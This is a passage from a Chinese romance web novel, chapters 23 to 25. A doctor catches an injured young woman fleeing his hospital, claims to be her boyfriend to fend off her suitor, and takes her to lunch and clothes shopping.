“主要还是那个傻叉好吧!输就输了,还搞偷袭,要不是他那神经质的一下,喻教练能躲不过去?又怎么可能会受伤啊!” “……” 几句话的功夫,电梯便下到一楼。 几人提步往外,没走多远,又忽然被人喊住:“冒昧问一下,你们喻教练怎么了?”- 下午两点。 喻了了猫着腰,鬼鬼祟祟的从骨科门诊出来。 虽然已经提前看过,他今天没班,但可能是中午才刚刚被“敲打”过的原因,一来到他的“领地”就不自觉的开始心虚。 也怪徐浩然那家伙,记得她之前提过长济,受伤那天就直接把她抬到长济来了,要不是这样,她也不至于连复查都跟在做贼一样。 她拄着支拐杖,停在门口把各种单子收进袋子里后,就径直往电梯间去,走到半道,忽然感觉背后有点凉凉,就好像被什么人盯上了似的。 她原地顿了一下,目光狐疑地从楼层间逡巡而过,猝不及防就和回廊对面一道冷淡的视线对上,登时便瞪大眼睛,拔腿就跑! “喻了了——” 背后传来的声音有点急,明显是不敢相信都看到了她居然还敢跑! 但她应激起来,反而吓得更加不敢停下脚步,慌乱打开边上的消防门,一溜烟就蹿进了楼梯间,哪怕少了条腿,依然跑得飞快! 不多时就抵达一楼,手指碰到门把手,眼见着就要逃出生天,消防门却突然从外打开,阴影里骤然步入一道倾略性极强的身影,不过刹那就将她严丝合缝地堵进死角。 高大的影子兜头笼罩下来。 他微有些喘的气息里,混杂着已无法单独形容的诸多语态,牢牢盯着她说:“跑挺快啊。” 第23章 第23章早晚被你气死! 喻了了俨然一个逃课被抓的学生,梗着脖子瑟缩了下,又趁他没注意,暗暗收回左腿,往身后藏了一下,才埋着头回话:“还……还行。” 这不是还差一点嘛…… “还挺遗憾?”时霁看着她自以为隐蔽的小动作,感觉自己好像又被当成了盲人,顿时便气笑了似的,身体侧开了些,让出点儿空隙成全她:“那继续跑啊。” “……”她小心翼翼抬头,像被抓包之后又忽然被放过,虽然不太敢相信,眼睛却还是不自觉地有点亮,好像在说:可以吗? 然后就真的试探着往缝隙里挪了一下,直到将要伸出左腿,才猛然想起自己现在跑步的样子肯定巨难看,而且只要一跑他不铁定发现吗! 僵持两秒,就又丧着脑袋挪回来,认命时还挺委屈的“唔”了一声。 时霁冷笑,一副这可是你自己不跑的架势,回身又凑近了些,右手啪地一下拍在栏杆上,开始秋后算账:“刚睡醒?” “……”喻了了想往后退一点,才发现脚跟已经却抵在台阶前。 “要加班?”他的视线一点点压低。 “……”她只好默默地往下缩。 “还007!” “……啊我错了!” 喻了了吓得直接丢掉了手里的拐杖和文件,迅速抱头蹲下准备投降,蹲到一半冷不丁被人抓住手臂,提溜一下又站起来了。 时霁扣着人,本就不善的表情又多了一丝危险:“能随便动吗现在!” “……”喻了了一秒老实,并像个鹌鹑一样站好。 时霁扫她两眼,勉强顺心一点,这才盯着她的腿问:“到底怎么回事?” 喻了了张了张唇,下意识就想坦白从宽,可一想起事情经过,又发现……坦白好像只会死的更快。 总不能说她是因为觉得高扬很烦,就主动把他约到自己的地盘打架,把 人打得屁滚尿流之后,人家还是不服,又从背后偷袭了自己一下…… 这样岂不是显得她很彪悍?还怎么听怎么像嘿社会…… 见她半天也蹦不出一个字来,头还越埋越低,他想也知道这份“交代”里,大概包含了哪些“不方便描述”的成分。 非要让她描述的话,也不知道这清奇的脑回路,又要给他精加工些什么乱七八糟的故事来。 “算了。”他认栽似的吁了口气。 顿了一下,便蹲身捡回散落一地的东西,把拐杖塞回她手里后,就兀自打开文件袋,把片子和报告都看了一下,才回眸问她:“医生怎么说?” 喻了了感觉自己还有救,立刻挺直脊背积极交代:“没事的没事的!” 她一副很有经验的模样:“就只是一点骨折,复查说恢复的还可以,平时自己多注意一点,再过段时间就好了!” 一点骨折?还就只是? 时霁听完,简直不知道是该夸她勇敢还是心态好:“你还挺骄傲?” 喻了了:“……” 她噘着嘴,又不敢说话了。 他沉出了口气,又抖着报告问:“最近不来就是因为这个?” 她郁闷地点头:“……嗯。” “为什么不说?” “不是怕你生气嘛……” “我生什么气?”他费解。 “就我上次过敏啊!你就很生气嘛!”她抬头,逻辑链非常缜密地解释:“所以要是骨折的话,你以后再也不理我了怎么办?” “……”他被强词夺理到都有点忘了,最近到底是谁不理谁? 想到自己这段时间的心路历程,竟然仅仅只是因为一个乌龙,他顿时就有种想狠狠教训她一顿以作发泄,又因为某种隐晦的庆幸而下不去手的矛盾。 平复半天,到底还是气不过,冷不丁伸手捏住她的脸,恶狠狠晃了两下着说:“我真的……早晚被你气死!” “唔——” 喻了了被迫仰头,却因为心虚也没敢让他松手,只是一副真的很怕他气死的模样,就着这个距离给他顺气,明目张胆拍着他的胸肌讨饶:“啊我真的不是故意的,也真的真的知道错了,下次一定不会再……” 时霁身形一僵,面色骤然冷却,沉声打断:“站好!” “……” 喻了了动作一顿,收手的同时很本能的又摸了一把,才一副老实人的模样,梗着脖子低头,缓缓把手垂下。 抻直右腿的同时,左腿也下意识贴近地面,将要点地的前一刻,面前的人忽然俯身,单手抄起膝弯,打横将她抱起。 喻了了惊呼了下,一脸生怕就这么直接被丢出去的样子,死死抱着他的脖颈说:“你、你你干嘛?!” 时霁偏头,敛住鲜红的耳廓,一脸平静地直视她:“看不出来?” “看……看出来了。”喻了了瑟缩了下,却还是不敢相信他会抱自己似的,很没安全感地补充了句:“但是、我其实可以自己走的。” “嗯。”时霁不疑有它,低黯的声音里还颇有些赞扬的意味:“你还能跑。” “……” 喻了了瞬间哑火,眉眼耷拉下来,像是想努力表现得乖巧的一点,这样被丢出去的时候,他可能也会手软一点。 时霁看着好笑,就这么低眸,静默地对峙了会儿,才再度开口:“想下来?” “嗯?” 喻了了眨了眨眼,很敏锐的发现他问的是想不想,而不是能不能,虽然可能只是口误,但她还是立刻抱紧了些,就此赖住了似的,迅速窝进他的肩颈。 也不说话,只摇了摇头,以免他听见自己说“不想”,就会意识到问题所在。 时霁也没说话,只顺势把人揽紧了些,又在谁也看不见的角度里,微扬了些许唇角- 九月底的日头和缓了些,却仍然没法在太阳底下久待。 叶泽洋在车里处理客片,时不时抬头往外看上一眼,冷不丁就撞见个挺高的男人,怀里正抱着个人往这头过来。 当空的一条腿上打着石膏,一眼便能认出是什么人。 不知到底是什么情况,他放下工作从车里出来,快步走到两人面前:“喻了了,出什么事了?” 喻了了一路埋着头,沉浸式感受着近距离的荷尔蒙,直到这会儿听到声音,才惊觉自己好像忘了点什么。 “……啊?”她抬头,难得有点羞赧红了耳朵,而后拍了拍时霁的肩,示意他放自己下来:“没、没出什么事呀。” 站好后又说:“就……我行动不太方便嘛,他就顺路送我过来一下。” “?” 叶泽洋上下打量她一圈,嘴角很明显抽搐了下:“你行动不便?” 到底是谁瘸了条腿还一天到晚活蹦乱跳?送来医院也不让他跟,一副再敢多嘴一句,就算瘸着腿也能把他打瘸的模样? 预感他要说些对自己不利的话,喻了了赶忙拔高声音,握紧拳头对他说:“你、你你少废话!我说不方便就是不方便!” 她不让他跟,还不是觉得逃跑的时候自己一个人会更方便,虽然还是被抓住了,但让他坐在车里吹空调又有什么不好吗? “嘁——”叶泽洋懒得跟她犟,只看了眼另一个人的外在条件,想也知道似的问:“时医生?” “嗯。”时霁点了下头,没什么情绪地看他:“你是?” “叶泽洋。” 他又瞥了眼喻了了,十分自然且没脾气地自我介绍说:“她小……”弟。 “发小——”喻了了连忙打断,并咬牙瞪着他重复了遍:“是我发小!” 说完才回头看向时霁,为了加深可信度似的,又详细地解释说明:“就是从小楼上楼下住着的那种关系,我最近不是受伤了嘛,就一直都是他在送我,今天也是他带我过来的。” “别误会啊。”叶泽洋不知道两人现在具体是什么情况,但为了避免被当做情敌误伤,就还是主动声明了下:“要不是就我一个有车,谁爱送谁送。” “……” 喻了了感觉他就是觉得时霁在,自己八成不会动手,就故意狂得像要造反,顿时就有点火了:“我又没让你送!” “我都说了我自己可以打车啊,是你非要拦着我说可以送啊!” “我受虐啊非要拦着你?”叶泽洋不认。 要不是被迫委以重任,没完成的话又会被徐浩然那拨人碎碎念死,他才不干:“你要找得到其他人来送,我保管退位让贤,一秒都不带含糊的。” 说着又冲时霁抬了抬下巴:“他要能送也行啊。” 喻了了被绕进去了:“他怎么送?他早上八点就要上班啊!自己都忙不过来……” “晚上可以。”时霁忽然开口。 “?”喻了了回头,还没等反应过来,就听见他又说:“晚上有时间。” “行啊。”虽然没完全把这个烫手山芋甩出去,但能减轻至少一半的活儿,叶泽洋觉得勉强也能答应:“那以后早上我送,晚上你来?” “可以。”时霁说。 “那加个微信?”叶泽洋又摸出手机:“虽然可能是你更危险一点,但为了我能够交差,还是得麻烦你送到了记得给我来个消息。” “嗯。”时霁也没什么意见,摸出手机扫他的好友码,然后说:“你也是。” “??” 喻了了全程懵圈,明明是她的出行问题,这两个人居然直接把她屏蔽,还就这么当着她的面,水灵灵的分配好了?? “那现在怎么说?” 叶泽洋通过验证后,又偏头扫了眼自己的车:“你要送还是……” 正说着,一辆黑色轿车忽然疾驰进停车场,同样从道馆闻讯赶来的高扬下了车就往这头过来,满脸关切地盯着她的腿问:“了了,你现在怎么样了?” 喻了了却明显有点崩溃:“你怎么又来了啊——” 她约架前就已经把人拉黑了,到现在都没放出来过,这段时间出门回家也都是车接车送,就算他用别的号码给自己打过几次电话,她也都是一听出声音就给挂了,也是完全没想到他居然还会追踪至此! 她一时激动,直接 就质问了:“不是说好输了就不要再烦我了吗!” “……” 高扬其实也知道自己大概率是没机会了,但不管怎么说,都是自己意外把人中伤,他想要了解一下情况,并适当地进行弥补,也算是人之常情吧? 可眼下自己一头热的来了,却被她极其反感的当众排挤,面上多少也有点挂不住,下意识就同她理论道:“你要不认真想想?我们约定的明明是,如果我赢了,你就重新考虑我,可没说我要是输了,就再也不能来找你。” “……” 喻了了三观都被颠覆了一下,强撑着拐杖说:“这难道不是一个意思?” 高扬扳回一城,脸色稍微好看了点:“话是差不多,意思差远了。” “那你到底想怎么样?”喻了了还从没见过脸皮这么厚的人,一时也不知道该怎么应付,冷不丁闪过的想法就有些刁钻:“这条腿也给你?” “……” 高扬噎了一下:“我要你的腿干嘛?” “那我也不可能把人给你啊!” 喻了了也从来没有这么烦过一个人,烦到一句话都不想多说,就只能用最直截了当的方式打发他:“而且我都已经有男朋友了!” “……” 除她之外,三人均有些愣怔。 高扬皱着眉,看向对面两人,率先开口:“谁?” 喻了了呼了口气,下意识就要看向叶泽洋。 反正这种事他也不是第一次做,所以做了也不需要解释什么,而且那个狗也根本不会在意自己都是怎么胡说八道的。 可正当她头偏到一半,已经准备要说话时,后腰却忽然被一只大手扣住,强势将她拉进一道不久前才感受过的坚实胸膛。 头顶深沉的声音带着微不可查的怒意,摁着她说:“不明显吗。” 第24章 第24章那我现在想亲你可以吗? 周六下午,街道上人潮拥挤、川流不息。 车子在医院门前堵了会儿,慢悠悠地走走停停了一长段,直到上了高架,才有了些许提速空间。 喻了了安静坐在副驾,心跳被稳步倒退的街景抚平一些,脸颊却又被窗外热风熨得愈渐发烫。 她鲜少有这样不知所措的时刻,两只手搅在一起,大脑却好像不会转了一样,始终停留在极为微妙的一帧,迟迟不肯向前。 余光里的人却好像很是淡定,身体舒展靠着椅背,那只刚刚拥过自己的手正搭在方向盘,偶尔不经意地抬眸,往倒车镜暼上一眼。 如果她足够细心的话,会发现从上路到现在,右侧的倒后镜一次也没有被他的视线光顾过。 喻了了悄悄偏头瞄了一眼,连面色都毫无破绽,从容到一点情绪都看不出来。 偷瞄第二眼,也还是一样! 她登时就有点不爽,因为被人抢了台词,事情直接去往另一个走向,而这个打乱她所有节奏的人,却从头到尾都像个没事人,好像刚刚那么说的人不是他一样!使得她忽然就想质问他到底是什么意思,却又因为已经过了时效性,而显得有一点莫名其妙。 酝酿半天,才一副我刚刚只是忘记了的样子,不尴不尬地扭头,很严肃地看着他,却明显底气不足地问:“你——你刚刚、为什么要那样说?” 时霁虽然目视前方,却好像完全可以预判到她各种各样的小表情似的,又在听出她强作镇定的语气后,忽然有点想笑。 有点恶劣的,因为她的紧张,反而不紧张了似的,在下高架的间隙瞥她一眼,声音茫然:“什么?” 什、么?? 喻了了睁大眼睛,简直不敢相信这么冰冷的话,是怎么从他37°的嘴里说出来的!她立刻坐直,侧过身去,很生气地提醒他:“就是刚刚啊!” “你跟高扬说‘不、明、显、吗’,是什么意思!” 时霁点点头,才想起来似的,也回忆了一下她本欲偏向叶泽洋的动作,冷笑了声,更淡定了:“那你刚刚又是什么意思?” “……”喻了了其实并不知道他问的是什么,却像是差生被老师提问,不管有没有听懂,反正下意识就是心虚:“我、我哪有什么意思!” 又壮胆似的拔高声音,好像这样就能显得比较理直气壮一点:“我当然是因为不想再被他烦,才假装那样说的啊!又不是真的!” “不是真的?”他意味不明的反问。 “对啊!”喻了了却没能意会:“肯定不是啊!” “……” 时霁默了默,也挺认真的思考了下,自己要是就这么轻易且莫名的被这个榆木脑袋骗到手,岂不是显得非常没有含金量? 也不知道中学那两个她追了多久,大学那六个又被惦记了多久,凭什么轮到自己,就得在受了半个月窝囊气之后,还这么名不正言不顺的认栽? 他顿时便换了副神色,高贵且冷艳地睥睨她:“你说的都不是真的,那我说的能是什么?” 喻了了:“……” 连她假装有男朋友都是假的,那他迎合自己的举动,当然就只是……配合。 她哼了一声,一副就知道是自己想多的表情,要不然他也不会说完就跟没说一样,完全都没有反应!而自己刚刚心脏跳得那么快,也简直就是浪费! 她气鼓鼓地靠回椅背,浑身都充斥着一种快要到嘴的糖果忽然就被收走的愤怒!和想要给人一拳都出师无名的郁闷! 最后只能炸毛的想,还不如一开始就别给她希望呢! 但想到如果自己一开始就没有过敏,也没有遇见过他,又好像还是有点舍不得…… 时霁见她一秒钟换了八百个表情,顿时又不复方才淡定,一副还挺担心她动起脑来的模样:“又琢磨什么呢?” “我哪有琢磨什么!” 喻了了很生气,虽然好像没什么道理,但她就是很气,气到都开始怀疑自己对他来说是不是真的很麻烦:“明明就是你很难琢磨!” “明明就觉得我很烦,还要说那样的话,还要送我回家,我又没有一定要让你送,也已经很努力不去烦你……” 时霁眉心一紧,看了眼路况便就近靠边,熄了火后侧身逼近:“喻了了,脑子不会转就别瞎转!” 喻了了顺势看他,五官都因为不敢相信而皱到一起:“……你骂我?” “……” 时霁心梗了下,已经有点后悔刚刚的否认,但现在要是再次否认,好像又更加不是事儿了。 闷了半天,才尽可能心平气和地解释:“没骂你,也没烦你。” 他也是真的有点被她搞怕了,难得认真的强调:“总之就是,你想找我就找,想发消息就发,想干嘛就干嘛,就是别一天到晚瞎猜我是怎么想的,懂吗?” 喻了了却觉得这还是不像什么好话,故意反驳:“想干嘛就干嘛吗?” “嗯。” “那我现在想亲你可以吗?” “……” 时霁神情一滞,视线下意识游弋至她红润的唇瓣,因为生气往上噘了点儿,就这么正对着他,好像只要再微微俯点儿身,就能够具体感受它的生动。 一时之间,连呼吸都变得奢侈起来,他喉咙发紧,默了半晌,才不知是为了哄她还是别的什么原因,发沉的声音里有点儿无意识的松动:“你、可以试试。” 喻了了当然不会把这话当成纵容,因为本来就没抱过这种希望,只一秒便偏过头去,哼地一声说:“小气!” “……” 时霁回身,喉结微不可查地滚动了下,顿了一会儿后解开安全带,对车里的人说:“我出去下,在这等我。” 喻了了又看过去:“你去哪?” 他只是说:“马上就回。” “哦。” 喻了了的脾气来得快去得也快,多数时候都不用哄,稍微晾一晾她自己就忘了,更别说是在眼睁睁见他进了一家医疗用品商店,没几分钟又推着一把轮椅出来之后。 直接就惊呆了! 等人把轮椅收进后备箱,一坐回驾驶座,她就扒拉着手扶箱反抗:“我都快好了,用轮椅也太夸张了吧?” 时霁瞥她一眼,压 低声音警告:“你再敢像今天那样瞎跑一次试试。” 她梗着脖子,一秒老实:“……”- 二十分钟后。 车子停靠在小区外头。 喻了了被迫换了个座驾,并在一路“就是为了让这小帅哥送,才特意如此柔弱的吧?”的关切眼神中,风风光光地回到自家楼下。 她感觉自己受了天大的冤屈,却愣是有口难言!一直到轮椅停在单元门前,看着老旧的楼梯间时,才倏然转换心态! 她眼睛发亮,回头的同时张开双臂,示意性很强地告知:“不高,我家就在三楼。” 时霁却毫不犹豫地抬了抬下巴:“自己走。” “啊……”喻了了超级不满意:“可是我受伤了啊!”而且你刚才就是抱着我去停车场的啊! 时霁挑了下眉梢,丝毫不惯着她:“现在给你抱上去了,后天早上准备怎么下来?” 也让你那个竹马抱? 喻了了只当他说的是自己这么多天都能走,怎么现在就不行了?要是说最近都是骑着叶泽洋那家伙来回的,他好像也不可能会信。 她举着手臂僵持了会儿,直到意识到瞎话是真的很难编且编不出来后,才哼地一声站起来,又怼了一声“小气”后,才自己拄着拐杖往上走。 时霁拎着轮椅跟在身后,感觉她今天的脾气有点大,却又有点受虐似的,觉得还挺爽的。 两人很快抵达三楼。 喻了了停在门前,输了密码就打开房门,猝不及防看到自己的狗窝,又“啪”地一声重新拍上!表情很尴尬的回过头来:“那什么……” 又想了半天才编出一个由头:“我、我家好像停水了,你要不先下去帮我买两瓶?” “来得及么?”时霁面露关切。 “什么?”喻了了不解。 “下去一趟就能收拾好了?”他好笑道。 “……” 喻了了脸红起来,还想解释,就见他把轮椅在边上放好,偏头又说:“我不进去。” “别急着收了。”怕她不当回事,他又强调:“受伤了就老实待着,非要收就叫个家政。” 喻了了也知道圆不回来了,半天才摸着耳朵“哦”了一声,见他要走,又下意识地扯他衣摆。 时霁回头:“怎么?” “……” 喻了了动作顿住,其实也不知道自己想干嘛,就是有点不想让他走,但自己的狗窝又确实不适合招待人,而且就这么把他带回家的话……好像也有一点不对劲。 最后支支吾吾半天,也就憋出一句:“那、那你到家了,记得要跟我说一下。” 时霁感知着衣摆处细微的晃动,身形不觉有些紧绷:“嗯。” 她埋着头咕哝的样子,有点像小孩儿在撒娇要买糖吃:“周一晚上,也要记得来接我。” 他薄唇轻掀,爽快应她:“好。”- 喻了了得到了所有想要的承诺,可真的把人放走独自进屋时,又还是忍不住有点贪心的想,要不是家里这么乱,在这些承诺之外,她本来还可以得到更多。 然后就越看自己的狗窝越不满意,摸出手机就给陈桃打了个电话:“二百块,帮我收拾一下屋子,干不干?” 房子不大,两室两厅的格局,她平时也不做饭,所以无非就是摆放的乱点,灰尘和头发多了一点,收拾起来难度不大,二百块也差不多了,但不抬价就不是陈桃的性格:“五百。” “三百。”喻了了让步。 “五百!”陈桃坚持。 “我叫家政。” “三百就三百!我马上来!” 半小时不到,陈桃就生怕单子不翼而飞似的从外头杀了回来,却冷不丁见着喻了了跟个大爷一样坐在一张轮椅上,问就是时霁送的,得多坐会儿。 且此后的小半天里,她就是坐在这张轮椅上,不停的指点江山,告诉她这个应该怎么放,那个应该怎么摆。 她就想问一句,什么好人家的男人把轮椅当礼物送啊? 要不是打不过,收到钱之后,她绝对会让这张破轮椅变成800个零件! 当天晚上,喻了了在焕然一新的家里美美地睡了过去,本来期待的是周一,醒来之后才发现,原来周一前面还有个周日啊…… 她头一回对周日有了意见,翻身解锁手机的时候,怨气就有点重:【丧.jpg】 【我没事.jpg】 【长吁短叹.jpg】 【感觉不会再爱了.jpg】 时霁:【……】 “嗐……”喻了了切实地叹了口气,也不管他的无语,只问他:【你今天准备干嘛呀?】 时霁:【出去一趟】 她忍不住追问:【去干嘛呀?】 时霁反问:【你想干嘛?】 她翻了个身趴在床上,啪啪啪地打字:【那还用说!】 【肯定是去找你啊!】 【我都好久没跟你一起出去玩了,现在好不容易周末,居然也只能瘫在家里呜呜呜】 【悄悄抹泪.jpg】 【悲伤到模糊.jpg】 【没人比我更难过.jpg】 时霁笑起来:【跟我一起有什么好玩的】 喻了了:【就随便啊!】 【重点是玩吗?】 【重点是跟你一起好不好!】 【实在不行玩你也可以啊!】 时霁:【……】 大可不必。 意识到好像有点不对,喻了了又说:【哎呀,反正就是想跟你一起玩】 【见到你就会很开心嘛】 时霁重复:【见到我就会很开心?】 喻了了猛猛点头:【对呀!】 又形容:【想一想就会笑起来那么开心!】 时霁上到三楼,脚步顿住,打字说:【那开门吧】 第25章 第25章情侣装。 “!” 喻了了瞬间睁大眼睛,一时还不敢确定他说的开门是开哪里的门,下意识就拨了个电话过去:“你在哪里?” “还能在哪。” 时霁抬眸,扫了眼306的门牌,有点无语地说:“你家门口。” 不知道是不是错觉,她感觉这声音近到就像是从门口传来的而非手机,虽然也说不清两者的区别是在哪里,但意识到他真的就在自己家门口等着时,她的脸颊霎时便泛起红温,心跳好像也有一点不稳:“所、所以,你刚刚说的出去一趟,其实就是过来找我吗?” 清冽的声音穿过听筒,无端有些发磁,更似有种拿她没办法的无奈:“不然?” 喻了了脸红更甚,除此之外还有一点囧:“可是……我才刚刚睡醒,什么都还没有收拾。” “那现在起?”他的声音不紧不慢,对于她刚醒就开始找自己这件事,也并没有多少意外。 “好。”她点头,又有点犹豫:“那、你要进来吗?” 她心里其实不太没底,虽然昨天就已经把屋子收拾好了,但自己这会儿不仅蓬头垢面,还穿着一件从中学遗留到现在的祖传卡通睡裙,并且上面没穿内衣,下面还打着石膏…… 总之就是怎么看怎么不能见人。 “不进了。”时霁本来也没打算进去,上楼只是为了方便一会儿给她搬轮椅,虽然也挺想看看究竟是邋遢成什么样,才能让她屡次把自己拒之门外,却到底还是有点分寸:“在这儿等就行。” “哦。”喻了了松了口气,又立刻扬声保证:“那你等我一下!二十分钟就好!” “嗯。” 她放下手机,就从床上跳起来,单脚刚要蹦出去,铃声忽然又响起来,她疑惑地接起,听到对面十分有预见性的发言:“老实点儿。” “该多久就多久,再敢把腿给蹦伤你试试?” 喻了了:“……哦。” …… 喻了了的动作一向利索,也就刚开始往医院跑那段时间,因为对化妆还不熟练才能耗时比较久一点,后来基本就是洗漱5分钟,化妆20分钟,挑加换衣服5分钟,总共半个小时就能搞定,加速的话20分钟也能完成。 但今天被警告了一下,就花了将近40分钟。 开门出去的时候还有点讪讪,因为如果是别人让她等这么久的话,她估计早就炸毛了不止一次,但稀奇的是他居然真的一点情绪都没有,接过轮椅就冲楼下偏了偏头,示意她先往外走。 她有点不敢相信似的,一连回头看了好几眼,然后心里就对他又多了一层滤镜,脾气真好,还很有耐心。 时霁也不是第一次被她“误解”了,单看那个眼神就知道不对劲,不由眯缝着眼,语气很一般地问:“又在琢磨什么?” “哪有!”喻了了撅了下嘴,眼睛弯弯地说:“就是觉得你人很好啊!一大早过来接我,等这么久也没有生气,还要带我出去玩。” 他扬了扬眉,不乏有些悦耳的意味,嘴上却说:“马屁精。” 喻了了也不恼,还笑嘻嘻的,一脸能把马屁拍到位了也很开心的模样,仰着头说:“但我说的都是实话啊。” 时霁推着轮椅,低眸从上方看着她生动的轮廓,没忍住,上手捏了一把:“平时跟别人也是这么说话的?” 喻了了“唔”了一声,瓮声瓮气地否认:“没有呀,又不是每个好脾气的人我刚好都很喜欢,干嘛要这样跟别人说话?” 他神情舒展,弯着唇说:“挺好。”- 半小时后,车子停在一条有些僻静的街巷。 喻了了被推着在石板路上行进了会儿,又绕过一处蜿蜒叠嶂的真石水景,才进入一家颇有格调的中式私房餐厅。 内里装修馥雅而低调,当中用了一些设计巧思,装饰的同时还能作为隔断,桌与桌之间的间隔又较大,所以虽然是坐在大堂,却有一种半封闭包间的感觉,既有一定的隐私性,又足够通透。 喻了了左右环顾,只觉得自己和这种地方有点格格不入,一时连说话都不敢大声:“你经常来这边吗?” 时霁瞥她,表情有点古怪:“偶尔。” 她双手拢在嘴边,又问:“很好吃吗?” “还行。”他答完,还是没忍住揶揄:“你拍谍战片呢?” “……” 喻了了尬了一下,这才把手放下,也不说话了,就这么安静欣赏他翻看菜单的样子,静默地敛着眉眼,因为半低着头,眼镜微有些滑落,刚好露出鸦羽般的长睫,时而轻颤一下,单看神情,有点儿像在阅读,气质也斯文沉寂,和周围暗调的风格倒是异常搭调。 不多时便抬手示意,熟练下完几样菜品,见她也没有要补充的意思,又同服务员说:“就先要这些。” 现做的菜品比较慢,半天才只上来一点前菜,还是比较开胃的那种,喻了了本来不饿,吃着吃着倒有点饿了。 一不小心就给清了盘,然后咬着筷子盯着空盘,茫然地眨了眨眼。 时霁好笑的发现,她还真的是挺好养活的。 不仅生命力顽强,半点儿也不挑食,随便满足她一点期待,就能开心到几乎要溢出来,还会很大方地把快乐感染给别人,就算偶尔被惹到炸毛,也能很快地自我平复,再给旁人留下个逗她生气也蛮有趣的念想。 正好菜品开始陆续上桌,她清透的眼睛顿时又亮起来,半点不挑剔的尝了个遍后,才意识到这一桌的菜品似乎都偏滋补,却还是在喝到第三碗骨头汤时,脑子里才晃过一个闪念:“你带我来这里,是要给我补身体吗?” 时霁顿了一下,诚心惹她似的,眼底忽而蓄了点儿狡黠:“也不算。” “啊?” “没点脑花。” “……” 喻了了只反应了两秒就听出来了:“你又骂我!” 时霁扬了扬眉,又悄然转移重心:“难道不是觉得不需要才没点?” 因为傻也有傻的可爱。 喻了了想想好像也是,但又总觉得还是有哪里不对,狐疑地盯了他好几秒,还是想不出个所以然来后,才一副只是我不想计较的模样,继续闷头吃饭。 时霁不动声色地挽唇,直到她再度低头,才暗自笑开。 这家店的味道算不上绝佳,却胜在干净和无负担,比较像家常的饭菜,卖相与搭配又要好上许多。 喻了了平常吃饭基本是在食堂,偶尔去的餐厅调料也比较重,乍一尝到这样清淡爽口的风味,没留神就吃得有点饱,却还是没太吃够似的,开始放慢动筷的频率,试图让消化系统赶上进食速度,边聊边吃:“我们一会儿去哪啊?” 时霁没答,只伸手抽了张纸巾,触到她嘴角的时候还在想,还是两个人吃饭更舒坦些:“吃不下就别吃了。” 她很配合地仰了点儿头,等他擦完才说:“可是我还是有点想吃欸。” 时霁睨她,眸色有些严厉:“想吃下次再来,还非得今天把肚皮撑破?” “……哦。” 喻了了这才依依不舍地放下筷子,喝了点水润喉后,又问:“那我们一会儿去哪啊?” 时霁倒没什么所谓,反问:“你想去哪?” 她只想了一秒,就又燃起激情:“去游泳可以吗?我看着你游!” “……” 他顿了一下,继而冷笑出声:“想的挺美,让我给你表演呢?” “啊……”她坐直了些,非常理直气壮地和他理论:“可是你昨天明明还问我,今天要不要一起去游泳啊!” 他也并未否认,还因为想起某些不愉快的画面,更加无情道:“知道什么叫机不可失吗?自己不珍惜怪谁?” 她还是不甘心,继续据理力争:“那我还不是担心会被你发现?又不是真的不想去的!” “少来。”他冷着脸,半点儿不肯退让:“回家还是干别的,选一个。” “哼!”喻了了见他如此绝情,气得双手抱臂,一副那有什么了不起的表情,很有骨气地偏过头去:“干别的就干别的!” 时霁:“……” 差点就被吓到了呢。 …… 两人出了餐厅,又在车里待了一会儿,才决定好要去逛街。 主要是最近也没什么卖座的电影,而以喻了了现在的状况,也不方便做点别的什么,虽然时霁也没明白街有什么好逛的,但确实也没有更好的建议,便只能接受安排,推着人进了附近一家商场。 喻了了本来也只是因为不想回家,才提议说要随便逛逛,却冷不丁在经过一家男装店时,看到橱窗里模特的劲爆穿搭!登时便淫。魔附体,立刻把人喊停,并指着那身破烂到所有肌理都无处遁形的镂空穿搭说:“我想看你穿那个。” 时霁:“…………” 喻了了瞬间灵感爆棚,游泳不行,换衣服不是也行? 她甚至已经开始四处张望,边上有没有那种39一件清仓甩卖,简陋到连更衣室都没有的店铺,奈何这个商场还是高端了点,似乎没有办法满足她的愿望。 所以这件镂空线衣,俨然就是她最后的希望,绝对不可能放过的那种希望:“你自己说的干别的就都可以!我现在突然就想给你买衣服了!快点带我进去!” 时霁也不知道自己是抱着怎样的心态踏进那家店的,却在接过那几根松松垮垮的黑线时,忽然就萌生出一种被迫卖身的感觉。 而且包他的“金主”需求还很大,除这件之外,还把店内所有能满足她“情趣”的款式,全都让店员取了过来,然后就这么坐在轮椅上,饱含深情地目送他进入更衣室。 喻了了近距离候在门口焦灼等待着,虽然还没有亲眼见到,她就已经可以肯定他一定会穿得比模特好看!顺便还意淫了下,一会儿趁机偷摸的可能,以防万一又把手机摸了出来,想着最差 也得有几张照片作为留念吧? 然而几分钟后,等他切实穿着那件线衣出来之后,她的笑容却直接定住了:“谁让你在里面套衣服的啊?模特又不是那样穿的!” 时霁冷笑了下,也没什么好脸色地回:“谁规定非得照着模特的样儿穿?” 真要论起来,倒还得感谢她的“需求”有如此之大了,否则他还真不见得能找到什么保住“贞洁”的方法。 “我规定的啊!” 喻了了根本不服:“明明进来之前就说了要你那样穿!你也没反对啊!” “差不多得了。” 时霁同样没好气,意有所指道:“你还真想让我当众走光?” 喻了了愣了一下,这才回头看去,猛不丁就撞见几个女店员全都虎视眈眈盯着这边,一见她回头,才眼神飘忽地各自散去,表情却还是有点压不住,仿佛已经联想到他们“不当众”的时候,又都是些什么尺度…… 她顿时又有种快到嘴的糖被收走的气愤,但一想到如果自己要看,别人也一定会看到的话,就还是忍气吞声地转了话锋:“一点都不好看!快点去换下一件!” 时霁好不容易保住“贞洁”,后面的路却依然艰难。 因为痛失尺度让她不开心了,后来喻了了也不知是故意折腾他,还是真的不满意,一连让他换了十套不止,给出的评价却都是“一般”、“就还行”、“再换一套”! 直到他穿着一件米色低领背心和一条深灰廓形西裤出来时,这副神情才终于绷不住似的倏然变换。 虽然这身依然没有什么尺度可言,可第一眼的观感,却简直可以用销魂来形容! 背心熨帖修身的版型,将他的宽肩窄腰完整呈现,裸露的整条臂膀,肌肉线条也非常可观,又因为纯色的款式没有视觉重心,她的视线便自上而下,随着恍惚可见的肌理,一路没进微有些松垮的裤腰…… 喻了了倒吸一口凉气,猛地仰头捂住鼻子。 时霁的耐心已然消耗得差不多了,这会儿浑身上下都散着一股将要发作的郁气,见状却还是压着情绪问她:“又怎么了?” 喻了了鼻腔发热,闷在手心里说:“我好像……流鼻血了。” 还没说完,他就已经拧着眉心阔步上前,俯身把手拨开,抬起她的下巴看了一眼,并没有发现什么异样,松手时却看到她几乎放大到两倍的瞳孔,正满眼内容地捕捉着什么,更一度上头到连眼睛都不肯眨。 